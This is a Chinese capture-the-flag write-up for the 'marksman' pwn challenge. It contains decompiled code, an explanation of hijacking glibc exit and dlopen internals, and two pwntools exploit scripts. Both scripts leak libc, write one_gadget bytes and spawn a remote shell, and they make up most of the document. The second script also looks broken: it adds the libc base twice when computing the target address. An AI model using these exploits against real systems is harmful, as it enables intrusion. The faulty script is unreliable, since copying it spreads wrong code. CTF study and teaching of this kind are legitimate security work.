__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
set();
menu();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = readn();
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}
if ( sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(j + v6) = v7[j];
}
if ( !dlopen(0LL, 1) )
exit(1);
puts("bye~");
return 0LL;
}
__int64 __fastcall sub_BC2(_BYTE *a1)
{
if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 0x22 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 )
return 1LL;
puts("You always want a Gold Finger!");
return 0LL;
}
根据程序可知是数组越界,第一个输入的数是我们要覆盖的位置,后三个输入的数是我们要覆盖的三个字节,程序一开始输出了puts函数的地址,相当于泄露了libc,我们想到的就是覆盖某个函数的地址为one_gadget函数地址,实现部分字节写,但是程序开了Full RELRO,got表无法被劫持,程序对输入值进行了限制,多数“one_gadget”被淘汰。
我们可以劫持exit_hook,
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
通过gdb获得__rtld_lock_unlock_recursive偏移,修改__rtld_lock_unlock_recursive低三位字节为one_gadget地址
one_gadget ../../libc-2.27.so--64 -l2
# coding=utf-8
from pwn import *
sh = remote("node4.buuoj.cn", 27939)
#sh = process('./hfctf_2020_marksman')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./hfctf_2020_marksman")
libc = ELF('../../libc-2.27.so--64')
def dbg():
gdb.attach(sh)
pause()
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
ru('I placed the target near: ')
puts_addr = int(r(14),16)
lg('puts_addr',puts_addr)
libc_base = puts_addr - libc.sym['puts']
__rtld_lock_unlock_recursive_offset = 0x81df60
addr = libc_base+__rtld_lock_unlock_recursive_offset
one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
shell = one_gadget[1]+libc_base
sla('shoot!shoot!\n',str(addr))
for i in range(3):
sla('biang!',chr(shell&0xff))
shell=shell>>8
itr()
void * dlopen (const char *file, int mode)
功能:打开一个动态链接库
参数:file就是libc文件路径,mode只有以下两种常用的值,并且必须指定其一
RTLD_LAZY:在 dlopen 返回前,对于动态库中存在的未定义的变量 (如外部变量 extern, 也可以是函数) 不执行解析,就是不解析这个变量的地址
RTLD_NOW:与上面不同,他需要在 dlopen 返回前,解析出每个未定义变量的地址,如果解析不出来,在 dlopen 会返回 NULL
void * dlopen (const char *file, int mode)
{
return __dlopen (file, mode, RETURN_ADDRESS (0));
}
void * __dlopen (const char *file, int mode DL_CALLER_DECL)
{
# ifdef SHARED
if (__builtin_expect (_dlfcn_hook != NULL, 0))
return _dlfcn_hook->dlopen (file, mode, DL_CALLER);
#endif
struct dlopen_args args;
args.file = file;
args.mode = mode;
args.caller = DL_CALLER;
# ifdef SHARED
return _dlerror_run (dlopen_doit, &args) ? NULL : args.new;
#else
if (_dlerror_run (dlopen_doit, &args))
return NULL;
__libc_register_dl_open_hook ((struct link_map *) args.new);
__libc_register_dlfcn_hook ((struct link_map *) args.new);
return args.new;
# endif
}
dlopen函数调用了_dl_open函数
void * _dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char *argv[], char *env[])
{
……
……
/* Never allow loading a DSO in a namespace which is empty. Such
direct placements is only causing problems. Also don't allow
loading into a namespace used for auditing. */
else if (__builtin_expect (nsid != LM_ID_BASE && nsid != __LM_ID_CALLER, 0)
&& (GL(dl_ns)[nsid]._ns_nloaded == 0
|| GL(dl_ns)[nsid]._ns_loaded->l_auditing))
_dl_signal_error (EINVAL, file, NULL,
N_("invalid target namespace in dlmopen()"));
#ifndef SHARED
else if ((nsid == LM_ID_BASE || nsid == __LM_ID_CALLER)
&& GL(dl_ns)[LM_ID_BASE]._ns_loaded == NULL
&& GL(dl_nns) == 0)
GL(dl_nns) = 1;
#endif
struct dl_open_args args;
args.file = file;
args.mode = mode;
args.caller_dlopen = caller_dlopen;
args.caller_dl_open = RETURN_ADDRESS (0);
args.map = NULL;
args.nsid = nsid;
args.argc = argc;
args.argv = argv;
args.env = env;
const char *objname;
const char *errstring;
bool malloced;
int errcode = _dl_catch_error (&objname, &errstring, &malloced, dl_open_worker, &args);
# ifndef MAP_COPY
/* We must munmap() the cache file. */
_dl_unload_cache ();
# endif
……
……
#ifndef SHARED
DL_STATIC_INIT (args.map);
#endif
return args.map;
}
我们可以劫持_dl_catch_error函数为one_gadget地址,_dl_catch_error为libc中的函数,可以gdb调试找到其got表
# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 27939)
sh = process('./hfctf_2020_marksman')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./hfctf_2020_marksman")
libc = ELF('../../libc-2.27.so--64')
def dbg():
gdb.attach(sh)
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
ru('I placed the target near: ')
puts_addr = int(r(14),16)
lg('puts_addr',puts_addr)
libc_base = puts_addr - libc.sym['puts']
__rtld_lock_unlock_recursive_offset = 0x81df60
#addr = libc_base+__rtld_lock_unlock_recursive_offset
_dl_catch_error_libc=libc_base + 0x5f4038
addr = libc_base+_dl_catch_error_libc
one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
shell = one_gadget[2]+libc_base
sla('shoot!shoot!\n',str(addr))
for i in range(3):
sla('biang!',chr(shell&0xff))
shell=shell>>8
itr()